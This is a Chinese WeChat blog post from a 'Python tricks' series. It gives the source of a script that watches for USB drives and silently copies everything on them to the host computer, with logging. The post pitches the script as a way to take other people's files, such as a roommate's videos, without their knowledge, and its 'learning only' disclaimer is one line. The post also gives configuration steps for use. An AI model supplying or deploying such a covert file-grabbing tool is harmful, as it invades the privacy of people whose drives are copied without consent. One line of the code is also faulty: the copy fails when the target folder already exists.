阅读文本大概需要 6 分钟。
Python 这门语言有非常多有趣的内容，比如给微信好友自动发消息、查看微信好友撤回的消息、通过微信控制电脑等等。在我公众号上也分享过很多有趣的程序，近期我会去搜集一些骚操作的 Python 程序分享给大家，并命名「Python 骚操作」专栏，持续更新！文中一些程序可能来自别人的文章，但如果我觉得程序还有所改进的地方，我会继续添加一些代码，并且我会在文末标注原程序出处。
今天的「Python 骚操作」，分享的是一个自动拷贝电脑 U 盘内容的程序。当别人的 U 盘插入到你的电脑上时，Python 脚本会自动把 U 盘所有的内容，全部拷贝到你的电脑上。脚本每隔 5 秒扫描当前电脑是否有 U 盘插入，如果是已拷贝过的内容，则不会重复拷贝，每个相应的操作都会记录到日志文件中。
如果恰好这个 U 盘里有某些室友的「学习视频」，比如下的图片。
那骚气指数 10 颗星！
注意此程序只是用来学习交流，切勿违法使用。
Python 骚思路
在 windows 系统中，当有 U 盘插入到你的电脑上时，会给它分配一个磁盘名称，比如在我的电脑上分配的是「J」。所以我会先定义一个「USB_FILE」变量，表示 U 盘所在的目录。
我们利用 os 库来判断当前系统是否有「USB_FILE」，如果扫描到当前系统有这个目录，说明有 U 盘插入到当前电脑上。随后我们通过 shutil 库，把 U 盘里的内容全部拷贝到自己的电脑上。在每个操作之间我添加了 input_log() 方法，用来把当前相应的操作记录到日志文件中。
****Python 骚源码****
程序主要是由三个函数组成，get_dirs_size()、main()、input_log()。
get_dirs_size()
get_dirs_size() 主要是返回要拷贝 U 盘的长度，用来判断当前要拷贝的内容是否已经重复，如果重复则无需重新拷贝。
def get_dirs_size(dir):
size = 0
for root, dirs, files in os.walk(dir):
size += sum([getsize(join(root, name)) for name in files])
print(size)
return size
main()
main() 用来执行主逻辑代码，即每隔 5 秒检查当前电脑是否有 U 盘插入。如果检查到，则记录当前 U 盘的长度。在下一次检测的时候，如果当前的长度没有发生变化，则无需重新拷贝。每个操作都会记录到日志中，以便日后查看相应的拷贝信息。
def main():
old_size = 0
new_dirsize = 0
while(1):
if os.path.exists(USB_PATH):
print("检测到 U 盘")
input_log("检测到 U 盘")
new_dirsize = get_dirs_size(USB_PATH)
if old_size != new_dirsize:
for filename in os.listdir(USB_PATH):
print("拷贝了：" + filename)
input_log("拷贝了：" + filename)
shutil.copytree(USB_PATH, SAVE_PATH)
old_size = new_dirsize
else:
print("U 盘没有变化")
input_log("U 盘没有变化")
else:
print("暂时没有 U 判断")
print("开始休眠")
input_log("开始休眠")
sleep(5)
print("休眠结束，重新检测")
input_log("休眠结束，重新检测")
input_log() 利用 logging 库，来把相应的操作信息保存到一个日志文件中。
def input_log(message):
handler = logging.handlers.RotatingFileHandler(LOG_FILE, maxBytes=1024 * 1024, backupCount=5,
encoding='utf-8') # 实例化handler
fmt = '%(asctime)s - %(levelname)s - %(message)s'
formatter = logging.Formatter(fmt) # 实例化formatter
handler.setFormatter(formatter) # 为handler添加formatter
logger = logging.getLogger('tst') # 获取名为tst的logger
logger.addHandler(handler) # 为logger添加handler
logger.setLevel(logging.DEBUG)
logger.info(message)
Python 骚教程
此次的程序使用非常简单，首先下载源码，后台回复「拷贝」即可获取源码。然后修改下 USB_PATH 和 SAVE_PATH，这两个参数表示的是你 U 盘所属的位置和你想要保存的目录。
LOG_FILE = "test.log"
USB_PATH = "J:\\"
SAVE_PATH = "D:\\disk_copy"
原程序参考来源：
本文首发于公众号「痴海」，后台回复「1024」即可获取最新编程资源。
比如这样的：史上最全 Python 学习资料，PDF 电子书大合集
痴海
网友评论